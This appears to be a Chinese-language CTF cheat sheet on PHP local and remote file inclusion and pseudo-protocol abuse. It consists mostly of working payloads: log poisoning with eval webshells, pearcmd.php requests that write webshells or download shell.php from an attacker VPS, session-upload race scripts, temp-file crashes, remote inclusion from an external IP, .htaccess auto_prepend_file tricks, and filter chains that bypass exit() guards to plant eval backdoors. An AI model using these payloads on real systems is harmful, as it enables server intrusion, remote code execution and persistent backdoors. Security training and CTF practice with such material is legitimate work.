文件包含&伪协议备忘录
日志包含
服务器日志包含
前提:
具有日志读取权限
URL:?x=/var/log/nginx/access.log
修改User-Agent
为<?php highlight_file('xxx.php'); ?>
nginx
1 | 日志: |
apache
1 | 日志: |
ssh日志包含
1 | ssh '<?php eval($_GET['k']); ?>'@192.168.1.1 |
包含
1 | ubuntu: /var/log/auth.log |
利用PEAR
条件
a.开启register_argc_argv(默认)
这样pearcmd.php就可以通过$_SERVER[‘argv’]来获取参数了
b.可以包含后缀为php的文件
定义
PEAR是可重用的PHP组件框架和系统分发,会随PHP安装时自动安装
pear接收参数规则:
&无法分割参数,+可以分割参数,=无法赋值而会被当作参数共同传入
直接忽略argv[0]
,因此大部分payload以+开头
Payload
bp发包payload:
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php
下载文件:
?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/test1.php
保存地址:/tmp/pear/download/test1.php
?file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://ip/shell.php
保存地址:/tmp/pear/download/shell.php
1 | <?php |
1 | ?file=/tmp/pear/download/shell.php&0=/readflag |
?file=/usr/local/lib/php/pearcmd.php&+download+http://vps/eval.php
?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/eval.php+-d+man_dir=<?eval($_POST[0]);?>+-s+ HTTP/1.1
(Burpsuite防浏览器转码)
1 | GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1 |
必须bp,否则hackbar会导致自动编码
1 | /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_REQUEST[cmd])?>+/tmp/test.php |
1 | ?file=/tmp/test |
详细限制
(6条消息) 利用pearcmd.php文件包含拿shell(LFI)_XiLitter的博客-CSDN博客_php拿shell
Docker PHP裸文件本地包含综述 | 离别歌 (leavesongs.com)
利用session.upload_progress
条件
需要知道session文件的存放位置
如果session.auto_start=On(默认关闭)
则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()
使用方法
可以利用session.upload_progress
将恶意语句写入session文件,然后包含session文件
session有一个默认选项session.use_strict_mode
默认值为0
此时用户是可以自己定义Session ID的,
比如,我们在Cookie里设置PHPSESSID=TGAO
,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO
即使此时用户没有初始化Session,PHP也会自动初始化Session 并产生一个键值,这个键值由ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值
组成,最后被写入session文件里
默认配置session.upload_progress.cleanup = on
导致文件上传后,session文件内容立即清空,此时我们可以利用竞争,在session文件内容清空前进行包含利用
1 | 一般的存放地址 |
条件竞争脚本1
1 | #coding=utf-8 |
条件竞争脚本2
1 | import io |
临时文件永久包含
过滤器a:
使用php://filter/string.strip_tags
导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file
就会一直留在/tmp
目录,再进行文件名爆破就可以getshell
1 | include.php?file=php://filter/string.strip_tags/resource=/etc/passwd |
1 | • php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复 |
脚本a:
1 | import requests |
脚本b:
1 | import requests |
1 | 一般的文件名存放地址 |
过滤器b:
convert.quoted-printable-encode
这个崩溃并不适用于include,require等函数,适用于file函数,file_get_contents函数,readfile函数
1 | • php7.0.0-7.0.32 |
1 | <?php |
1 | php7 老版本通杀 |
在包含的同时要给此存在文件包含的php文件post一个文件
相关函数
在php种能够造成文件包含的函数有
1 | include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile |
文件包含函数本身会进行一次URL解码,衍生如下绕过方式:
1 | ?file=php://filter/conv%6%35rt.bas%6%3564-%6%35ncode/resource=flag.php |
include
包含并运行指定文件,那么受allow_url_fopen,allow_url_include限制
file_get_contents
把文件内容读入字符串
那么file_get_contents配合data只能实现字符串形式的输入,,由于是字符串形式,那么利用data等协议就不受allow_url_fopen,allow_url_include影响
此函数二进制安全,也就是说二进制数据也可以输入
这样echo会跑到源码里
而include就可以直接执行
file()
file() 函数把整个文件读入一个数组中,与 file_get_contents() 类似,不同的是file()将文件作为一个数组返回,数组中的每个单元都是文件中相应的一行,包括换行符在内,如果失败,则返回 false
远程文件包含
条件
和data协议相同条件
1 | 1. allow_url_fopen = On (默认开启) |
1 | ?file=http://123.249.89.207/1.txt |
PHP 的 allow_url_include 配置选项这个选项默认是关闭的,如果开启的话就可以进行远程包含,因为 allow_url_include 的配置范围为PHP_INI_SYSTEM,所以无法利用 php_flag指令在 .htaccess文件中开启,这里为了演示,就先在 php.ini 中设置 allow_url_include 为On
.htaccess 文件中的设置为
1 | php_value auto_prepend_file http://192.168.0.181/phpinfo.txt |
远程主机上的phpinfo.txt中的内容为
1 | phpinfo(); |
这样,最终目标主机上的php文件都会包含这个远程主机上的 phpinfo.txt 并解析执行
修改.htaccess配合伪协议
这里主要用的还是 auto_prepend_file 或 auto_append_file 这两个配置项。
条件:
allow_url_fopen 为 On
allow_url_include 为 On
目标环境的当前目录中存在至少一个 PHP 文件
任意代码执行
1 | php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ |
- 正则回溯绕过正则匹配
可以将正则匹配的回溯次数设置为0
1 | /index.php?filename=.htaccess&content=php_value%20pcre.backtrack_limit%200%0Aphp_value%20pcre.jit%200%0A%23%20%5C |
1 | php_value pcre.backtrack_limit 0 |
- Base64 编码绕过
主要就是利用 auto_append_file 和 PHP 伪协议,比如我们在一个图片中写入经过base64编码后的 Webshell,然后我们便可以使用 auto_append_file 配合 php://filter 将其包含进来
1 | php_value auto_append_file "php://filter/convert.base64-decode/resource=images.png" |
我们直接使用data://协议也是可以的,这样就不需要上传 images.png了
1 | php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ |
绕过死亡代码
- .htaccess的预包含利用
php5下:
利用 .htaccess的预包含文件的功能来进行攻破;自定义包含我们的flag文件string.strip_tags
能够从字符串中取出HTML和PHP标记,尝试返回给定的字符串 str 去除空字符,HTML和PHP标记后的结果。这里用这个,去除那个PHP的死亡结束代码
1 | file_put_contents($filename,"<?php exit();".$content); |
1 | $filename=php://filter/write=string.strip_tags/resource=.htaccess |
同时传入如上的代码,首先来解释$filename
的代码,这里引用了string.strip_tags
过滤器,可以过滤.htaccess
内容的html标签和PHP标记,自然也就消除了死亡代码;$content
即闭合死亡代码使其完全消除,并且写入自定义包含文件
php7下:
1 | http://localhost/test1.php?filename=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=adam.php&content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?%3E%3C?php%0d@eval($_POST[cmd]);?%3E/resource=adam.php |
base64
1
2$filename='php://filter/convert.base64-decode/resource=s1mple.php';
$content = 'aPD9waHAgcGhwaW5mbygpOz8+';
这里把$content
补了个a是因为base64在解码时是把4个字节转化为3个字节的,而死亡代码中只有phpexit
参与了解码,所以补上a既可以凑成八个字节完全转化
PHP协议
allow_url_fopen参数(只影响RFI,不影响LFI)
简介:是否允许将URL(HTTP,HTTPS等)作为文件打开处理
allow_url_include参数(只影响RFI,不影响LFI)
简介:是否允许includeI()和require()函数包含URL(HTTP,HTTPS)作为文件处理
file://
1 | 省略了主机和端口 |
默认的访问路径协议就是file://
访问本地文件系统,默认的就是这个
Linux下:file:///etc/passwd
file://../../../../../…….
file://flag.php
ZIP
zip伪协议和phar协议类似,但是用法不一样
用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
zip://xxx.png#shell.php
条件:PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4才可以
#在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符
zip://
中只能传入绝对路径
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型的还有zlib://
和bzip2://
- 绕过文件后缀检查:
首先新建一个zip文件,里面压缩着一个php脚本。
然后构造zip://php.zip#php.jpg
:
http://127.0.0.1/file.php?file=zip://php.zip%23php.jpg
compress.zlib:
php://filter
php元封装器
条件:
默认是任何情况都可以
绕过:
php://filter 遇到不存在的过滤器会直接跳过, 可以绕过一些对关键字的检测
1 | php://filter/read=convert.base64-encode/test随便乱写/resource=index.php |
1 | php://filter/ctfshow/resource=flag.php |
二次编码
1 | file=php://filter/XXXXXXXXXXXXX/resource=./phpinfo.php 这样可以, convert.base64-convert ,也就是XXXXXXXXXXXX这部分可以二次编码 |
多级软连接绕过
/proc/self
指向当前进程的/proc/pid/
,/proc/self/root/
是指向/
的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过,payload:
1 | php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php |
常用过滤器
1 | string.rot13 |
清除多余字符特性
1 | //base64编码 |
phar://
1 | ?file=phar://压缩包/内部文件 |
注意 PHP>=5.3.0压缩包需要是zip协议压缩,rar不行,木马文件压缩后,改为其他任意格式的文件都可以正常使用。
步骤:
写一个一句话木马shell.php,然后用zip协议解压缩为shell.zip,然后将后缀改为png等其他格式
php://input
条件
开启allow_url_include
可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据,最好使用php://input
来代替$HTTP_RAW_POST_DATA
,因为他不依赖于特定的php.ini指令
post一句话
1 | <?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?> |
注意:
a. php://input
与$HTTP_RAW_POST_DATA
读取的数据总是一样的,当enctype=multipart/form-data的时候都是无效的
b. Coentent-Type
仅在取值为application/x-www-data-urlencoded
和multipart/form-data
两种情况下,PHP才会将http请求数据包中相应的数据填入全局变量$_POST
c. PHP不能识别的Content-Type
类型的时候,会将http请求包中相应的数据填入变量$HTTP_RAW_POST_DATA
d. 只有Coentent-Type
为multipart/form-data
的时候PHP不会将http请求数据包中的相应数据填入php://input
否则其它情况都会,填入的长度由Coentent-Length
指定
e. 只有Content-Type
为application/x-www-data-urlencoded
时,php://input
数据才跟$_POST
数据相一致
f. PHP会将PATH字段的query_path
部分,填入全局变量$_GET
通常情况下,GET方法提交的http请求,body为空
data://
条件
需要开启allow_url_include才可以使用
但没有开启也可以在file_get_contents()中写字符串
数据封装流
相当于把数据封在某个文件,所以才可以被file_get_contents()读取
1 | data://text/plain,<?php phpinfo();?> |
1 | ?c=data:text/plain,<?php system('ls')?> |
allow_url_include=Off下的data小trick
file_get_contents 允许使用 data URI,会直接返回后面的内容,在allow_url_include=Off 的情况下,不允许 require_once data URI 的,但是如果 data:,XXX
是一个目录名的话,就会放开限制
1 | $ php -a |